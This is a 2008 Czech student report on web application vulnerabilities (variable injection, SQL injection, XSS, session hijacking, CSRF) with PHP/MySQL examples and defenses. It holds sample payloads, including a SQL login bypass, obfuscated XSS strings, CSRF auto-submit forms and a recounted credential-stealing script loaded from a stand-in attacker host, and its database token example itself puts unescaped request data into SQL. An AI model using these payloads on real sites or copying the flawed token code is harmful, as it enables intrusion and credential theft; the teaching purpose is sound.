referát

Transkript

referát
Pavel Selement, Martin Major
MFF, 2008
Zranitelnost webových aplikací
Cílem tohoto textu je seznámit čtenáře s některými současnými útoky na webové aplikace a nastínit
možnosti obrany proti nim. Budou popsány tyto útoky:
●
●
●
●
●
Podstrčení proměnných
SQL Injection
Cross Site Scripting (XSS)
Session hijacking
Cross-Site Request Forgery (CSRF)
V případě ukázek a příkladů budeme používat php a MySQL.
Podstrčení proměnných
Tento problém nastává pouze, pokud je zapnutá direktiva register_globals. Tedy pokud nutně
nepotřebujeme využívat jejích možností, je řešení jednoduché a to její vypnutí (např. pomocí
.htacces).
Princip útoku je nastavení (neinicializované) proměnné na hodnotu požadovanou útočníkem.
Příklad:
Mějme kód
if ($user == 'Pepa' && $heslo == 'MojeHeslo') $prava = 9;
a uživatel zavolá stránku
http://www.example.com/index.php?prava=9
pak automaticky získá práva 9.
Většina útoků podstrčením proměnné pomáhá nebo přímo vede k XSS.
SQL Injection
Zneužití této zranitelnosti nastává při sestavování dotazu do databáze na základě uživatelova
dotazu. Útočník podvrhne data (hodnoty odesílané na server) tak, aby pozměnil výsledek SQL
dotazu. Tento útok je velmi nebezpečný, protože útočníkovi dovoluje z databáze číst, zapisovat do
ní, i v ní mazat. Zároveň může získat přístup ke všem účtům, tedy i k administrátorskému. Tato
chyba je velmi častá, až 50% webů je díky ní nějak napadnutelných.
Příklad:
Mějme databázovou tabulku
id
jmeno
heslo
prava
INT
VARCHAR(255)
VARCHAR(255)
INT
a ve stránce databázový dotaz
$result = mysql_query("
SELECT * FROM uzivatele
WHERE uzivatel = '" . $_POST['uzivatel'] . "'
AND heslo = '" . $_POST['heslo'] . "'
");
Pokud uživatel při přihlašování vyplní uživatel = Pepa, heslo = MojeHeslo, dotaz se vyplní na
$result = mysql_query("
SELECT * FROM uzivatele
WHERE uzivatel = 'Pepa'
AND heslo = 'MojeHeslo'
");
Pokud ale vyplní uživatel = Admin, heslo = a' OR '1'='1, potom se dotaz vyplní na
$result = mysql_query("
SELECT * FROM uzivatele
WHERE uzivatel = 'Admin'
AND heslo = 'a' OR '1'='1'
");
což je díky 1=1 vždy pravda.
Útoky přes SQL injection mají naštěstí i omezení, která ale záleží na zvoleném jazyku a hlavně
databázové platformě.
● Funkce mysql_query() nepodporuje provedení více SQL dotazů najednou (odpadají
problémy s konstrukcemi typu: '; truncate tabulka; ).
● Dost podstatným faktem je, že nijak nelze zavolat externí aplikaci, což by docela podstatně
rozšířilo rozsah nebezpečných dotazů. Např. v MSSQL to lze.
● Pokud není zdrojový kód uložen v databázi a volán přes eval(), tak se útočník nijak
nedostane k vlastnímu kódu.
● V SELECT dotazu nelze mazat data ani přes složený dotaz
Obrana proti SQL injection spočívá v důkladném ošetření vstupních dat. Pro základní kontrolu
číselných typů můžeme použít funkci is_numeric(). Pro složitější typy (string) je třeba „escapovat“
znaky – používat funkce addslashes() nebo mysql_real_escape_string() pro všechny uživatelské
vstupy.
V php existuje serverová direktiva magic_quotes_gpc, která automaticky zajišťuje slashování, ale je
označená jako deprecated a v php 6.0 už nebude. Pokud nemůžeme ovlivnit nastavení serveru,
musíme si napsat vlastní funkci pro slashování, protože pokud bychom použili některou z
vestavěných (mysql_real_escape_string) a direktiva by byla zapnuta, bylo by escapování dvojité.
Naopak pokud bychom na ni spoléhali a zapnutá by nebyla, neošetřili bychom vstup.
Jako ideální řešení se jeví použití nějaké databázové vrsty, ať už vlastní, vestavěné (např. MySQLi)
nebo nadstavbové (např. PEAR DB). Konstrukce dotazu pak vypadá typově:
$db->query("SELECT * FROM [test]
WHERE jmeno='%s' AND cislo='%i'",
$jmeno, $cislo);
Cross Site Scripting (XSS)
Tuto metodu útoku je možné použít na serverech, kde nejsou dostatečně ošetřená vstupní data a
útočník je schopen podstrčit na stránku svůj vlastní kód (javascript). Takto napadnutelná je naprostá
většina stránek (odhady hovoří o 8 až 9 webech z 10), čímž se stává asi nejnebezpečnějším útokem
současnosti.
XSS můžeme dělit na dva základní druhy:
● Persistent (nebo stored, second-order)
● Non-Persistent (nebo reflected)
Persistent XSS útok se používá na stránky generované z databáze. Útočník např. do komentáře vloží
JavaScript, který se poté provede každému uživateli při zobrazení stránky s komentářem.
Non-persistent je založen na pozměnění URL. Pokud si v URL přenášíme nějakou informaci, která
je přímo interpretovaná na stránce, útočník může na její místo vložit škodlivý kód, který se provede
místo vypsání očekávané informace. Pokud uživatel na stránky přistoupí přes regulérní link, tento
útok se ho netýká.
Uživatel se proti tomuto útoku může bránit vypnutím JavaScriptu, ale za cenu ztráty funkčnosti
stránky. Na straně serveru je třeba kontrolovat vstupní data od uživatelů, které následně vypisujeme
na stránku. Toto je velmi náročný proces, jelikož odfiltrovat všechny nežádoucí varianty je díky
jejich rozmanitosti velmi náročné. Ošetřování dat můžeme provádět buď při ukládání nebo při
vypisování. Zpravidla se volí druhá varianta (ale i tak musíme částečně ošetřit vstup před
ukládáním, aby se zabránilo útokům typu SQL injection apod.) Útočník může pozměnit URL, data
posílaná pomocí GET i POST, uložená v cookies nebo v databázi některé serverové proměnné
(PHP_SELF, SERVER_NAME) a samozřejmě přímý uživatelský vstup (políčko formuláře,
komentáře, diskuze, …). Toto všechno je třeba ošetřovat.
Docela jednoduše a účinně se na ošetření dat používá funkce htmlspecialchars(). Dobrým návykem
je používat tuto funkci opravdu na všechny výstupy. Ušetříte si tím přemýšlení „jestli by se do této
číselné hodnoty opravdu nějak dal dostat kód“ a nezapomenete některý ošetřit.. Problém ale
nastává, pokud chceme uživateli dovolit některé html značky (např. vložení obrázku). Pak je třeba
napsat si ošetrování vlastní a tím vzniká velká šance, že některou variantu útoku zapomeneme
ošetřit. Jiným řešením je použití šablonovacího systému (Smarty, HTMLTmpl, Teng, …), kde je
veškerý výstup standatně escapován.
Příklady maskování kódu (mnoho dalších naleznete na http://ha.ckers.org/xss.html ):
alert("XSS");
eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41,59))
<IMG SRC=JaVa
ScRiPt:alert('XSS')>
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<DIV STYLE="width:
expression(alert('XSS'));">
Metody maskování jsou zavislé na prohlížeči, neboť ty se samozřejmě snaží těmto útokům
předcházet. Nové verze často zabrání některé z variant, ale těch je tolik, že ještě dlouho, pokud
někdy, nebudeme v bezpečí.
Pomocí XSS můžeme např. získat session ID z uživatelova cookie, měnit vzhled a obsah stránky,
pozměnit přihlašování napadené stránky tak, že odešle přihlašovací údaje i na útočníkův server a
mnoho dalšího.
Session hijacking
Mechanismus session proměnných slouží pro uložení informací (např. o přihlášení) při přechodu
mezi stránkami. Pro identifikaci uživatele se používaji cookies s jednoznačným a neuhodnutelným
session ID. Při session hijacking útočník zjistí a následně využije stejné session ID jako oprávněný
uživatel a ukradne mu jeho seanci.
Do této skupiny útoků by se dalo zařadit i session fixation. Jedná se o podobný útok, ale s tím
rozdílem, že útočník nepotřebuje zjistit uživatelovo ID, ale nastaví ho na požadovanou hodnotu
(podstrčením odkazu, přímou editací cookie, …). Jakmile se uživatel přihlásí, použije se toto ID,
které už útočník zná a může převzít kontrolu nad účtem. Obrana proti tomuto útoku je snadná. Stačí
před přihlášením (a jinými důležitými akcemi) zavolat session_regenerate_id(), čímž se podstčené
ID zahodí a nově vygenerované útočník nezná.
Obranu proti session hijacking rozdělíme na 3 části: server, přenos, uživatel.
Obrana na serveru spočívá v dobrém zabezpečení (hlavně open_basedir a safe_mode). Pokud je
server špatně nastaven, mohou ostatní uživatelé získat session ID i s daty. Doporučuje se přejít na
PHP 5.2.4 nebo vyšší, protože ve starších verzích se vyskytuje chyba ve funkci glob(), díky které si
uživatelé serveru mohou navzájem číst i měnit session informace. Pokud nemůžeme ovlivnit
nastavení serveru a používáme session pro uložení citlivých údajů, vyplatí se napsat si vlastní
správu session proměnných (využije se session_set_save_handler), poté si data můžeme ukládat
třeba do dotabáze.
Odposlechnutí při přenosu se zabrání prostým použitím https místo http. Zatím se používá jen u
velmi citlivých informací. Pozor na to, že SSL šifrování je často použito jen pro přihlášení, tedy
útočník nedokáže odposlechnout heslo, cookie už ale ano.
Ochrana u uživatele je velmi složitá, prakticky nemožná, jelikož nemůžeme nijak ovlivnit, kdo bude
mít k počítači přístup. Kvůli tomu by se pro identifikaci session měla používat nějaká doplňková
autentizace (IP adresa, User-Agent, … ).
Session ID se kromě cookie múže přenáset i v URL. Toho se dá velmi dobře využít pro session
fixation. Ale pokud má uživatel zakázané cookies, je to jediná možnost jak přenést session ID.
Ideální řešení je tuto možnost vypnout (session.use_only_cookies). Pokud opravdu potřebujeme
přenášet session ID v URL, přestože je to bezpečnostní riziko, měli bychom minimálně vytvořit
zvláštní stránku pro externí odkazy, aby se na ně session ID nepřenášelo v hlavičce referer.
Cross-Site Request Forgery (CSRF)
Tento útok je veden proti aplikacím používajícím cookies nebo hlavičku Authorization. Uživatel
navštíví stránku, která provádí nějakou akci bez vědomí uživatele. Počítá se s tím, že uživatel je v
aplikaci, na kterou se útočí, přihlášen a akce se tedy regulérně provede. Pro tento útok je třeba znát
strukturu napadené aplikace, proto je často útočník zároveň uživatelem této aplikace. Specifikem
tohoto útoku je, že je možné provádět akce, ale nelze číst data (ve všech standardních prohlížečích
nelze pomocí Java Scriptu číst z jiných serverů). CSRF je jeden z důvodů proč při změně hesla
požadovat staré.
Příklad:
<img src="http://www.example.com/clanek/?operace=smazat&id=30" />
Pokud útočník vloží takový kód do svých stránek (nebo na nějaké fórum, chat, …), na kterou přijde
uživatel přihlášený na www.example.com, smaže se článek s id 30 a uživatel ani nebude vědět, že
jeho prohlížeč vykonal akci, kterou nechtěl.
Pro útoky CSRF se většinou používají skryté obrázky nebo formuláře v iframe odeslané pomocí
JavaScriptu, ale jsou samozřejmě i jiné možnosti.
Proti tomuto útoku se může bránit sám uživatel tak, že vždy bude přihlášen jen v jedné aplikaci a
před navštívením jiné stránky se odhlásí.
Ne úplným řešením, ale stížením útoků, je nastavení krátké platnosti cookie. Hodnotu musíme volit
s mírou, aby neobtěžovala uživatele neustálým odhlašováním od aplikace a zároveň aby nedávala
velký prostor pro případné útoky. Pokud dále vytvoříme aplikaci s neintuitivní strukturou, bude pro
útočníka náročné sestavit správné URL. Zároveň bychom měli používat metodu POST místo GET.
Ale i to se dá jednoduše obejít pomocí podobného kódu:
<form action="http://www.example.com/" method="post">
<input type="hidden" name="action" value="delete" />
</form>
<script type="text/javascript">
document.getElementsByTagName('form')[0].submit();
</script>
Tomuto útoku zabráníme, pokud před každou akcí budeme požadovat další ověření (opsání
obrázku, zadání hesla, …). Řešení je to relativně jednoduché a účinné, ale ne moc pohodlné pro
uživatele, proto se většinou používá jen jako doplňková ochrana u nejdůležitějších akcí.
Jako možné řešení se jeví kontrola hlavičky Referer. Tím ale zabráníme přístupu uživatelům, kteří ji
mají zakázanou (zpravidla kvůli ochraně soukromí). Pokud bychom se rozhodli pro toto řešení,
existuje v php direktiva session.referer_check, která Referer kontroluje. Problém je, že kontroluje
kteroukoli část URL, takže se dá jednoduše obejít. Lepší řešení je napsat si kontrolu samostaně.
Další problém je, že pokud vede odkaz na stránku, kde je přesměrování pomocí Location, předá se
původní Referer, takže může projít i neoprávněná akce.
Asi nejlepším řešením je použít autorizační token. Před provedením každé akce vygenerujeme
náhodný token (např. hash user ID + password) a při provádění operace zkontrolujeme jeho
hodnotu. Tokeny by měly mít omezenou platnost. Ukládat je můžeme do Session nebo databáze
(lepší). Řešení pak vypadá nějak takto:
<?php
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_timestamp'] = time();
?>
<form action="/post.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
...
</form>
Poté v post.php porovnáme $_POST['token'] s $_SESSION['token'] a uplatníme časový limit. Nebo
jiné, asi hezčí řešení s použitím databáze místo session:
<?php
$token = rand_chars();
// při výpisu formuláře
mysql_query("INSERT INTO auth_tokens (token, validity) VALUES ('$token', NOW() +
INTERVAL 1 HOUR)");
echo "<input type='hidden' name='token' value='$token' />\n";
// při provedení akce
mysql_query("DELETE FROM auth_tokens WHERE validity < NOW()");
mysql_query("DELETE FROM auth_tokens WHERE token = '$_REQUEST[token]'");
if (mysql_affected_rows()) {
...
}
?>
Příklad
Jako příklad použitelnosti a účinnosti těchto útoků můžeme použít hack živě.cz
(http://www.security-portal.cz/clanky/zivecz-hacknuto-pomoci-xss.html). Je to web o informačních
technologiích, kde by se dalo očekávat nadprůměrné zabezpečení.
Vstupní políčka přihlašovacího formuláře jsou vyplňováná pomocí proměnných strUserName a
strPassword v URL adrese, které nejsou ošetřené na XSS a fungovalo
?strUserName=jmeno&strPassword="><script>alert("XSS");</script>
Dále si útočník nastavil cookie se jménem strPassword a po znovunačtení stránky se hodnota
objevila v políčku pro heslo. Cílem tedy bylo napsat JavaScript, který by zachytil přihlašovací údaje
a odeslal je na útočníkův server, a tento skript uložit do cookie některého z právoplatných uživatelů.
Script je napsán tak, že uživatel kromě krátkého zdržení nepozná žádný rozdíl. Skript útočník uložil
na vlastní server spolu s php skriptem, který bude zapisovat zaznamenané údaje.
Do Cookie strPassword se nastaví (zakódované do URL encode):
"><script src="http://www.attacker.foo/e.js"></script><br style="display:none
Teď už zbývalo jen některému uživateli změnit cookie. V diskuzi na živě jsou nedostatečně ošetřené
povolené obrázky (smajlíky).Útočník vložil kód
<img onerror="this.src = 'http://www.zive.cz/img/smileys/11.gif';
eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41,59))
" src="http://www.zive.cz/img/smileys/999.gif">
Obrázek 999.gif záměrně neexistuje. Když to prohlížeč zjistí, vyvolá se událost onerror, která
zobrazí existující smajlík, ale zároveň vykoná kód, který pozmění uživatelovo cookie. Tím byl útok
dokončen. V okamžiku, kdy si tuto diskuzi přečetl redaktor živě.cz, se mu změnilo cookie, díky
kterému se při přihlašování odeslaly údaje i na útočníkův server a tím získal plný přístup do
systému.
Podobný příklad můžete najít na http://www.abclinuxu.cz/blog/zatial_bez_mena/2007/7/xss-plussession-hijacking-hack-abclinuxu.cz
Zdroje:
http://php.vrana.cz/
http://www.wikipedia.org/
http://shiflett.org/
http://www.security-portal.cz/

Podobné dokumenty

Jaroslav SKÁLA poznámky k přípravě na reparát

Jaroslav SKÁLA poznámky k přípravě na reparát [!] všechny příkazy PHP musí být zakončeny středníkem - správný kód by měl být taktéž průběžně komentovaný – komentáře vkládáme vždy za část hotové skriptu pomocí znaků // nebo #

Více

Konfigurace Apache - Karel Kohout

Konfigurace Apache - Karel Kohout root@server:/#apt-get install apache2 Pro doinstalování dalších modulů (k nalezení například přes apt-cache search libapache2-mod) root@server:/#apt-get install libapache2-mod-nazev_modulu Upgrade ...

Více

Stavba osobního počítače

Stavba osobního počítače Statická elektřina je prevít! Až budete stavět svůj první pc (nebo jen vyměňovat některé díly), dejte si veliký pozor na přenos. Nejchoulostivějšími díly jsou základní deska a procesor. U základní ...

Více

Seznam všech témat pro ústní zkoušku PRG+IDS 2011

Seznam všech témat pro ústní zkoušku PRG+IDS 2011 • reakce na událost Projekce a restrikce • výběry sloupců • aliasy sloupců a tabulek • spojování sloupců pomocí fce CONCAT() • výběry řádků • změna řazení výpisu řádků • omezení řádků výpisu • využ...

Více

Značky HTML

Značky HTML Čemu se vyhnout • Neduplikovat stránky na více adresách – tříští to pozornost vyhledávačů a cachí a může být vyhodnoceno i jako podvod – použít hlavičku Location • Nepoužívat špinavé triky (např. ...

Více

MANUÁL pro verzi 1.56.

MANUÁL pro verzi 1.56. několik procent. Tím dosáhnete toho, že otáčky zůstanou stálé v celém rozmezí úhlů nastavení kolektivu. Dobrým testem je roztočit rotor na zemi a změřit otáčky s kolektivem naplno do minusu. Na zák...

Více

Starověká literatura 2

Starověká literatura 2  Vyhledej a zpracuj v heslech informace na zadané téma.  Zpracujete na základě svých zápisků myšlenkovou mapu a svou práci prezentujte svým spolužákům.

Více

1 seite.cdr - hirth

1 seite.cdr - hirth cenovou nabídku Prodej přírodních kamenů : Přírodní kamen se díky své geologické struktuře může odchylovat od vzorků jak v barvě, tak ve své struktuře, zrnitosti. Barva a struktura se vždy dodržuje...

Více